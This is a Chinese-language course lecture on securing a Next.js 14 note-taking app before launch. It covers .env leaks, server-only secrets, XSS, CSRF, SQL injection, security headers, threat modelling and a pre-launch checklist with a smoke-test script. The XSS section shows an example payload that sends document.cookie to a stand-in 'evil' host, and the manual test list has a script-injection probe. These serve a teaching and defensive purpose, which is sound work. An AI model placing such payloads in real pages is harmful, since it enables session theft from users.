模块五:工程质量与生产部署 | 第01讲:安全不是附加项——一个 .env 泄露能有多严重?上线前安全清单
本讲定位:把「Vibe Coding 能跑起来」升级为「能放心上线」——从密钥泄露的真实代价出发,建立 Next.js 14 全栈项目的安全心智模型与上线前清单。
项目锚点:VibeNote 智能笔记(Next.js 14、TypeScript、Drizzle、PostgreSQL、Vercel)。
延伸阅读:仓库内课程内容/6.1与reference/advanced/08-auth-security.md(密钥、认证、注入与排查框架)。
一、开场故事:五分钟,从「开源炫耀」到「账单爆炸」
想象一位独立开发者把 VibeNote 推到 GitHub:git add .、git commit、git push,一气呵成。十分钟后,邮箱里躺着一封 OpenAI 的告警:「过去 10 分钟产生 $127 的 API 费用。」他今天根本没点「AI 摘要」——后台却在以每秒数十次的频率被陌生请求狂刷。
这不是段子,而是公开仓库密钥扫描的日常剧本。互联网上大量机器人 24 小时爬取新提交,专门匹配 OPENAI_API_KEY、sk-、DATABASE_URL 等模式。密钥一旦进入可公开访问的 Git 历史,删除 .env 文件也无济于事:历史 commit 里仍然躺着明文。
对 VibeNote 而言,泄露的后果分层叠加:
- 直接经济损失:第三方模型 API、对象存储、邮件服务按量计费,被盗刷往往发生在几分钟内。
- 数据与合规风险:
DATABASE_URL若指向生产库,攻击者可拖库、改数据、植入后门;用户笔记与元数据属于高敏感资产。 - 品牌与信任崩塌:一旦出现「笔记站被挂马」「用户数据外泄」,独立产品的增长曲线会被一次性打断。
结论:安全不是功能列表最后一项的 checkbox,而是从第一行环境变量、第一次 git init 就必须内建的工程习惯。
flowchart LR
subgraph Leak["泄露入口"]
A[误提交 .env]
B[客户端暴露密钥]
C[日志打印密钥]
D[依赖供应链]
end
subgraph Impact["连锁影响"]
E[API 盗刷]
F[数据库被拖库]
G[会话劫持 / CSRF]
H[SEO 被挂黑链]
end
A --> E
A --> F
B --> E
C --> F
D --> H
B --> G
二、.env 与密钥管理:Server / Client 边界是铁律
2.1 三条硬规则
- 永远不要提交
.env、.env.local、.env.production;在.gitignore中显式列出,并定期git log -p -- .env自查历史(若曾误提交,必须轮换密钥并考虑git filter-repo等历史清洗,且清洗后所有 fork/clone 仍可能残留——最稳妥是换新密钥)。 - 生产密钥只存在于:Vercel / 云平台的 Environment Variables、密钥管理服务(如 Vault、云厂商 KMS),而不是 Slack 截图或 README。
- Next.js 环境变量命名:仅
NEXT_PUBLIC_*会进入浏览器 bundle;凡是能调数据库、调支付、调模型 API 的变量,一律不得带NEXT_PUBLIC_前缀。
2.2 VibeNote 推荐拆分
| 变量示例 | 运行位置 | 说明 |
|---|---|---|
DATABASE_URL | 仅服务端 / Serverless | Drizzle 连接串,绝不可公开 |
AUTH_SECRET | 仅服务端 | Auth.js / Session 签名密钥 |
OPENAI_API_KEY | 仅服务端 Route Handler | AI 摘要接口内部调用 |
NEXT_PUBLIC_APP_URL | 客户端可见 | 仅域名级配置,不含密钥 |
sequenceDiagram
participant U as 浏览器
participant E as Edge/Middleware
participant R as Route Handler
participant DB as PostgreSQL
participant AI as 模型 API
U->>E: HTTPS 请求
E->>R: 校验 Cookie / Session
R->>DB: Drizzle 查询(DATABASE_URL)
R->>AI: 服务端调用(API_KEY)
R-->>U: JSON/HTML(不含密钥)
三、Web 安全「老三样」+ 全栈注入面:XSS、CSRF、注入
3.1 XSS(跨站脚本)
场景:用户笔记标题未转义即插入 DOM,攻击者写入 <script>fetch('//evil?c='+document.cookie)</script>,窃取会话。
VibeNote 对策:
- React 默认对文本节点做转义;避免
dangerouslySetInnerHTML渲染用户 Markdown 除非你明确使用可信 sanitize(如统一用rehype-sanitize管线)。 - 对富文本编辑器导出 HTML 的场景,白名单标签优于黑名单。
- Content-Security-Policy(CSP) 作为纵深防御:限制内联脚本与非本域脚本加载(见下文 Headers)。
3.2 CSRF(跨站请求伪造)
场景:用户已登录 VibeNote,访问恶意站点,该站点自动 POST 删除笔记。
对策:
- Cookie 认证场景下使用
SameSite=Lax/Strict、必要时Secure。 - 对敏感写操作采用 CSRF Token 或 双重 Cookie 模式;Next.js App Router + 现代 Auth 方案通常会处理 Session 与 Cookie 策略——你要做的是不自行发明脆弱的 Cookie 方案。
- 对 REST 写接口校验
Origin/Referer(辅助手段,不能单独依赖)。
3.3 SQL 注入
Drizzle 与参数化查询大幅降低风险;禁止字符串拼接 SQL。若存在原生 sql 片段,必须参数绑定:
// 安全:参数绑定(示意,按你项目 db 实例调整)
import { sql } from "drizzle-orm";
export function unsafeSearchPattern(raw: string) {
// 仅示意转义通配符,真实项目请用全文检索或 ORM 查询构建器
const escaped = raw.replace(/[%_]/g, "\\$&");
return sql`title ILIKE ${"%" + escaped + "%"}`;
}
3.4 AI 应用特有风险
VibeNote 的「摘要」「标签建议」若直接把用户笔记全文发往第三方模型,需考虑:
- 数据最小化:只发送必要片段;提供用户开关与区域合规说明。
- 提示注入:后端对模型输出做 schema 校验(Zod),避免模型返回被当作指令执行(尤其在后续 Agent 化时)。
四、HTTPS 与安全响应头(Headers)
4.1 为什么必须 HTTPS
- 防中间人篡改与 Cookie 窃取。
- 现代浏览器能力(Service Worker、部分 API)要求安全上下文。
- Vercel 默认提供 TLS;自建 VPS 则用 Let’s Encrypt(第06讲展开)。
4.2 Next.js 14 配置 headers(可运行片段)
在 next.config.mjs 中增加基础安全头(按业务调整 CSP):
// next.config.mjs
/** @type {import('next').NextConfig} */
const nextConfig = {
async headers() {
return [
{
source: "/(.*)",
headers: [
{ key: "Strict-Transport-Security", value: "max-age=63072000; includeSubDomains; preload" },
{ key: "X-Frame-Options", value: "DENY" },
{ key: "X-Content-Type-Options", value: "nosniff" },
{ key: "Referrer-Policy", value: "strict-origin-when-cross-origin" },
{
key: "Permissions-Policy",
value: "camera=(), microphone=(), geolocation=()",
},
// CSP 需按是否内联脚本精细调整;以下为偏严示例,可能要求配合 nonce
{
key: "Content-Security-Policy",
value: "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; connect-src 'self' https://api.openai.com;",
},
],
},
];
},
};
export default nextConfig;
实操提示:CSP 过严会导致第三方分析脚本被拦截;上线前在 Preview 环境逐项验证。
flowchart TD
subgraph Defense["纵深防御"]
H1[HTTPS + HSTS]
H2[CSP / XFO]
H3[SameSite Cookie]
H4[服务端校验 Zod]
H5[最小权限 DB 用户]
end
H1 --> H2
H2 --> H3
H3 --> H4
H4 --> H5
五、上线前安全清单(可直接打印)
5.1 密钥与配置
-
.gitignore覆盖所有.env*;仓库无密钥历史(或已轮换)。 - 生产环境变量已在平台配置,本地
.env.example仅含占位符。 - 数据库用户使用最小权限(禁止 superuser 跑应用)。
- Auth
SECRET长度足够且随机(openssl rand -base64 32)。
5.2 应用层
- 所有写接口校验登录态与资源归属(用户只能删自己的笔记)。
- Zod 校验所有入参;错误信息不泄露堆栈与 SQL。
- 文件上传限制类型与大小;对象存储 bucket 非公开或配 CDN 签名 URL。
- Rate limit(至少对登录与 AI 接口)——可用中间层或边缘规则。
5.3 依赖与运维
-
pnpm audit/npm audit无高危未处理项(或已评估接受风险)。 - 备份与恢复演练(PG 逻辑备份或托管快照)。
- 日志脱敏(不打印 token、cookie、
Authorization)。
5.4 一键自检脚本(Node,可运行)
将下列脚本保存为 scripts/security-smoke.mjs,在项目根执行 node scripts/security-smoke.mjs:
// scripts/security-smoke.mjs
import { readFileSync, existsSync } from "node:fs";
import { join } from "node:path";
const root = process.cwd();
const envPath = join(root, ".env");
const gitignorePath = join(root, ".gitignore");
function fail(msg) {
console.error("❌", msg);
process.exitCode = 1;
}
function ok(msg) {
console.log("✅", msg);
}
if (existsSync(envPath)) {
const content = readFileSync(envPath, "utf8");
if (/NEXT_PUBLIC_.*(KEY|SECRET|TOKEN|PASSWORD)/i.test(content)) {
fail("检测到 NEXT_PUBLIC_* 中包含敏感关键词,请检查是否会把密钥打进浏览器 bundle。");
} else {
ok(".env 未发现明显的 NEXT_PUBLIC 密钥命名问题(仍需人工复核)。");
}
} else {
ok("未找到本地 .env(若你使用 .env.local 亦请自检)。");
}
if (existsSync(gitignorePath)) {
const gi = readFileSync(gitignorePath, "utf8");
if (!gi.split("\n").some((l) => l.trim() === ".env" || l.includes(".env"))) {
fail(".gitignore 可能未忽略 .env*");
} else {
ok(".gitignore 已包含 .env 相关规则。");
}
} else {
fail("缺少 .gitignore");
}
console.log("\n完成冒烟检查:若 exit code 非 0,请修复后再 push。");
六、与 VibeNote 的映射:你要改的三处「默认不安全」
- AI 路由:确保
OPENAI_API_KEY只存在于服务端;前端通过POST /api/ai/summarize触发,Body 用 Zod 限制长度。 - 笔记展示:Markdown 渲染链路必须 sanitize;禁止把未过滤 HTML 存进 DB 后直接输出。
- 错误页:生产环境关闭详细堆栈;统一错误码与友好文案。
六点五、威胁建模入门:用 STRIDE 扫一遍 VibeNote
你不一定要把 STRIDE 写成正式文档,但用它的六个字母当「自检表」,能显著减少「我以为没人会这么干」的侥幸心理。
- S(伪造身份):攻击者能否伪造 Session?Cookie 未
Secure、未HttpOnly时风险上升。应对:成熟认证库、Middleware 统一校验、关键操作二次确认(可选)。 - T(篡改):攻击者能否改别人的笔记?仅靠「前端隐藏按钮」不够,必须在数据库层校验
userId。 - R(抵赖):用户否认操作?若未来做协作,需审计日志(谁何时改了什么)。
- I(信息泄露):错误信息、日志、API 响应是否泄露内部结构?生产应返回稳定错误码。
- D(拒绝服务):能否用超大正文拖垮数据库与模型 API?需要限流、体长上限、超时与重试上限。
- E(权限提升):普通用户能否调用管理员接口?路由分层、角色声明、服务端再校验。
把 STRIDE 与「泄露入口」图叠加,你会发现:很多事故不是单一漏洞,而是多层防线同时失守。
六点六、OWASP 视角:独立产品也要对齐的最低线
- 访问控制失效:笔记接口必须对象级授权,不是「登录即可」。
- 加密失败:传输层 TLS;存储层敏感 token 加密或最小化存储。
- 注入:Drizzle 参数化,禁止拼接 SQL。
- 不安全设计:把 AI 输出直接当指令执行(未来 Agent 化时极高风险)。
- 安全配置错误:调试开关、开放 CORS
*、目录列表。 - 脆弱组件:依赖漏洞——锁定 lockfile,定期 audit。
- 认证失败:弱密码、无 MFA(可按阶段引入)。
- 完整性:CI 被篡改——最小权限 token。
- 日志与监控不足:只靠用户截图。
- SSRF:若支持抓取网页摘要,必须限制内网与元数据地址。
六点七、深度案例复盘(虚构但典型)
案例 A:公库误提交 .env(分钟级)
止损:立刻 revoke 密钥、轮换连接串、评估拖库风险;预提交 secret scan。
案例 B:密钥进客户端 bundle
修复:密钥只在 Route Handler;客户端只调自家 API。
案例 C:Markdown XSS
修复:sanitize + CSP + SameSite/Secure 组合。
六点八、给 AI 的安全协作提示词模板(贴进 AGENTS.md)
你是资深 Next.js 安全工程师。约束:第三方密钥只在服务端;禁止
NEXT_PUBLIC_暴露密钥;输入必须 Zod;Markdown 必须 sanitize;错误不返回堆栈;示例连接串只用占位符。输出先列威胁点再给补丁。
六点九、安全与产品节奏的折中策略
第 0 周:密钥不入库、HTTPS、Headers、对象级授权。第 1 周:sanitize、限流、Sentry。第 2 周:CSP 收紧、依赖治理、备份演练。
六点十、接口安全验收表
| 接口 | 必须验收 | 常见翻车点 |
|---|---|---|
POST /api/notes | 登录、体长上限、归属 | 未校验 userId |
PATCH /api/notes/:id | 对象级授权 | 只校验登录 |
POST /api/ai/summarize | 服务端密钥、超时、配额 | key 暴露 |
GET /api/notes | 仅当前用户 | 泄露全站 |
七、思考题(建议写下来)
- 如果你发现同事把
DATABASE_URL贴进了 PR 描述,第一时间应做哪三步(含密钥与流程)? - 为什么「删除仓库里的
.env文件」不能等同于「密钥已安全」? - 为 VibeNote 设计一条 CSP:需要允许哪些
connect-src才能同时支持 Vercel Analytics 与你的模型供应商域名? - SameSite=Lax 能防护哪些 CSRF 场景,哪些场景仍然需要 Token?
八、本节小结
.env泄露的典型路径是 Git 历史 + 公网扫描,成本可能是分钟级盗刷与数据级灾难。- Next.js 的
NEXT_PUBLIC_前缀是「公开契约」,密钥永远留在服务端。 - XSS / CSRF / 注入需要 框架默认 + 校验 + Headers 组合防御。
- 上线前用清单 + 自动化冒烟把低级事故挡在门外。
九、下讲预告
第02讲:测试分层与自动化——能跑不等于能交付,回归测试方案
我们将搭建测试金字塔:用 Vitest 守住纯函数与 Server 逻辑,用 Playwright 守住「登录—写笔记—搜索」关键路径;并讨论 AI 生成代码 的验收策略——如何让机器写的代码仍能被机器与用户双重验证。
附录:CSP 指令与 VibeNote 落地逐项说明
default-src:默认资源加载策略,建议 'self',再为图片、字体、分析脚本单独放行。
script-src:最敏感;若必须内联脚本,使用 nonce 或 hash,不要长期 'unsafe-inline'。VibeNote 若用第三方编辑器脚本,要明确列出域名而非 *。
style-src:Tailwind 与组件库常需要 'unsafe-inline',这是现实折中;配合 Subresource Integrity 降低供应链风险。
img-src:笔记若支持外链图片,需评估 https: 与数据 URL 的范围;恶意图片可导致隐私泄露(IP 记录),可后续加代理或白名单。
connect-src:前端 fetch 能连哪些域;模型 API 不应出现在这里,应只连你自己的 API。
frame-ancestors:配合 X-Frame-Options 防止点击劫持。
base-uri / form-action:限制基址与表单提交目标,防钓鱼跳转。
落地方法:先在 Report-Only 模式收集违规报告,再切换到 enforce;否则容易一次性把站点打挂。
附录:CSRF 在 Cookie 登录下的典型攻击面
场景 1:恶意站点诱导已登录用户发起 POST /api/notes/delete。若 Cookie 随跨站请求发送且缺少保护,可能成功。SameSite=Lax 能挡住「跨站 POST」的多数默认行为,但并非万能(例如某些 GET 副作用、或未来浏览器策略差异)。
场景 2:子域名 XSS。若 evil.vibenote.com 能种 cookie 到父域,风险上升;域名隔离与 Host-only cookie 策略需要提前设计。
场景 3:双重提交 Cookie 与 CSRF Token:对高敏操作(改邮箱、删号)逐步引入。VibeNote 早期可以 SameSite + 同源 API 为主,但要在文档记录「未覆盖场景」。
附录:数据库最小权限示例(PostgreSQL 思路)
应用账号应只拥有业务 schema 的 SELECT/INSERT/UPDATE/DELETE,禁止 DROP、CREATE EXTENSION、读写 pg_shadow。迁移账号与运行时账号分离:CI 用迁移角色,应用用受限角色。Neon 等托管服务可在控制台创建只读用户给分析与报表,避免误操作拖垮主库。
附录:密钥轮换 Runbook(简版)
- 在供应商控制台 创建新密钥(双密钥并存窗口期)。
- 更新 Vercel Production 环境变量 → 触发部署。
- 验证核心路径(登录、写笔记、AI 摘要)。
- 废弃旧密钥并记录轮换时间、操作人。
- 若曾泄露:假设数据已暴露,评估通知用户与强制登出。
附录:安全相关的「文档资产」建议
在仓库维护 SECURITY.md(漏洞上报渠道)、docs/threat-model-vibenote.md(一页纸)、docs/incident-template.md(事故时间线模板)。独立产品看似小题大做,但当你第一次面对用户质问「我的数据怎么了」,这三份文件决定你是专业还是慌乱。
附录:Next.js 服务端与客户端边界再强调(结合 VibeNote)
任何出现在 Client Component 顶层 import 链上的模块,都可能被打包进浏览器。若你不小心在 lib/db.ts 里 import { db } from './drizzle' 又被 Client 引用,就等于把数据库连接逻辑暴露给构建工具——即使运行时不执行,也可能泄露结构信息或误用 API Route。最佳实践是:server-only 包标记服务端模块;数据库访问只从 Route Handler、Server Action(谨慎)、Server Component 调用。AI 生成代码时最常在这里翻车,因此要在 PR 里重点盯 import 方向。
Server Action 若处理敏感写操作,必须重复校验 session,不要信任隐藏字段里的 userId。攻击者可以篡改表单。始终从 session 取用户主键,再与业务对象关联。
附录:笔记类产品的「内容安全」扩展清单
除 XSS 外,还要考虑:恶意链接钓鱼、Markdown 里的 javascript: 协议、以及未来若支持附件时的 MIME 嗅探与解压炸弹。每一项都可以先记录为 known limitation,但要在用户协议中诚实告知边界,避免法律与口碑风险。
附录:安全测试的最小手工用例(30 分钟)
- 用另一个账号的
noteId调PATCH,应 403 或 404。 - 在标题输入
"><script>alert(1)</script>,列表与详情应不执行脚本。 - 在生产打开开发者工具 Network,确认响应体与 JS bundle 无
sk-形态密钥。 - 用
curl -I检查安全响应头是否生效。
附录:依赖供应链与 lockfile 纪律
package-lock.json / pnpm-lock.yaml 是安全的沉默英雄:锁定传递依赖版本,避免「今天构建明天变」。不要把 lockfile 从 .gitignore 里拿掉。遇到 npm audit 报告时,优先升级到补丁版本,大版本升级留给单独 PR 并配回归测试。若使用 AI 生成 package.json 依赖列表,务必人工核对包名是否 typosquatting(相似拼写的恶意包)。
附录:Webhook 与第三方集成(VibeNote 未来扩展)
当你接入支付、GitHub Webhook、或自动化工作流时,务必验证 HMAC 签名与时间戳防重放。不要把 webhook 密钥写进客户端。对每次回调记录 eventId 日志以便排障与去重。
附录:从「个人项目」到「小团队」的权限分桶
即使只有一个仓库,也建议把 Vercel、数据库、域名 DNS、模型供应商分成不同账号或使用 团队角色:谁能部署、谁能看账单、谁能轮换密钥——写入一页运维分工表。很多事故来自「大家都以为对方会管」。
附录:安全相关的代码评审提问清单(打印贴在显示器边)
这份清单适合你在合并 AI 生成 PR 时自问:「是否新增了对外暴露的调试路由?」「是否把用户输入拼接进 SQL 或 shell?」「是否默认开启了 CORS *?」「是否把 console.error(err) 直接返回给客户端?」「是否在循环里打 info 日志?」「是否给管理员接口加了额外保护?」「是否对上传文件校验扩展名与魔数?」「是否把 session id 写进 URL query?」每一个「是」都值得停下来改。
附录:笔记加密(可选方向)与工程代价
端到端加密(E2EE)能显著降低服务端泄露风险,但会带来搜索困难、分享困难、密钥恢复困难。VibeNote 若定位为「个人知识库」可考虑未来迭代;若定位为「团队协作」则要重新权衡。现阶段更现实的组合是:传输加密(TLS)+ 数据库托管加密 + 严格的访问控制 + 最小化日志。
附录:安全与性能的合谋点
限流、WAF、CSP、压缩、缓存并不矛盾。限流可以保护数据库与钱包;CSP 可能增加少量配置成本,但减少 XSS 后的止损成本。把安全当作「性能与稳定性的前置条件」,而不是对立面,你会更容易说服自己投入时间。
附录:常见误区澄清(口语化复盘)
误区 1:「我仓库是私有的,所以推送 .env 没关系。」私有仓库成员变动、误设公开、子模块泄露都可能发生;私有不等于安全。
误区 2:「我把密钥 base64 一下就不算明文。」编码不是加密,扫描器同样解码。
误区 3:「前端不展示字段就等于别人看不到。」还有 Network 面板、SourceMap、错误回显。
误区 4:「HTTPS 上了就万事大吉。」HTTPS 解决传输保密与完整性,不解决 XSS、不解决越权、不解决弱口令。
误区 5:「我小项目没人攻击。」自动化扫描并不挑项目大小;密钥被盗刷也与用户量无关。
附录:把「上线前安全清单」变成团队仪式
每次发版前用 10 分钟过一遍清单:谁念条目、谁负责点生产验证、谁负责看账单与 Sentry。仪式感的意义在于:把偶然的责任感变成可重复流程。Vibe Coding 越快,流程越要有刹车片。
附录:与「数据校验三道防线」的衔接(课程前后文)
你在数据篇学过:前端校验提升体验,服务端校验才是安全边界。安全讲与校验讲是同一枚硬币的两面:没有 Zod,PATCH 可能把 userId 改掉;没有数据库约束,竞态下可能插入重复关联。把「校验 + 约束 + 授权」画在一张图上贴墙,比背十条定义更有用。
附录:本讲与 reference/08 的映射表
reference 中强调的「密钥不出现在代码里、Git 历史不可逆、扫描五分钟」与本讲清单一一对应;你可以把 reference 当作延伸阅读,把本讲当作执行手册。当两者冲突时,以能落地者优先:先止血,再追求完美。
附录:一句话记住本讲
密钥像现金:别拍照、别群发、别贴在窗户上;代码仓库就是窗户。
附录:10 条「上线前最后一遍」快速口播
- 环境变量三方一致:本地、Preview、Production。2. 回调域名与
NEXTAUTH_URL对齐。3. 关闭调试接口。4. 打开基础安全头。5. 抽查越权。6. 抽查 XSS 输入。7. 打开 Sentry 看是否暴增。8. 看模型供应商用量曲线。9. 看数据库连接数。10. 备份可用性心里有数。十条念完不超过两分钟,但能挡住大量低级事故。
附录:推荐你记在笔记本扉页的三句话
第一句话:安全是默认开启的约束,而不是上线前的补丁。第二句话:任何进 Git 的东西都要假设全世界都能看到。第三句话:用户数据是借来的信任,不是免费的素材。三句话不技术,但决定你在疲惫时会不会「先合并再说」。
附录:本讲学完你可以对外复述的「电梯演讲」
我们用托管平台部署 Next.js,把密钥放在环境变量里,配合 HTTPS 与安全响应头,服务端校验所有写操作并做对象级授权,Markdown 内容要消毒,日志脱敏并可关联 requestId,上线前用清单与冒烟脚本挡住低级失误。安全不是炫技,是长期复利。
课后动作(15 分钟):打开 VibeNote 仓库,逐条对照第五节清单,标记 ✅/❌,并把第一项「不通过」记在 issue 标题里作为本周技术债。
补篇:安全运营日历(示例)
周一:依赖 audit。周三:日志抽样检查。周五:备份核对。每月:密钥轮换复盘。每季:桌面演练(假事故)。把日历写进 README,降低「忘记检查」的概率。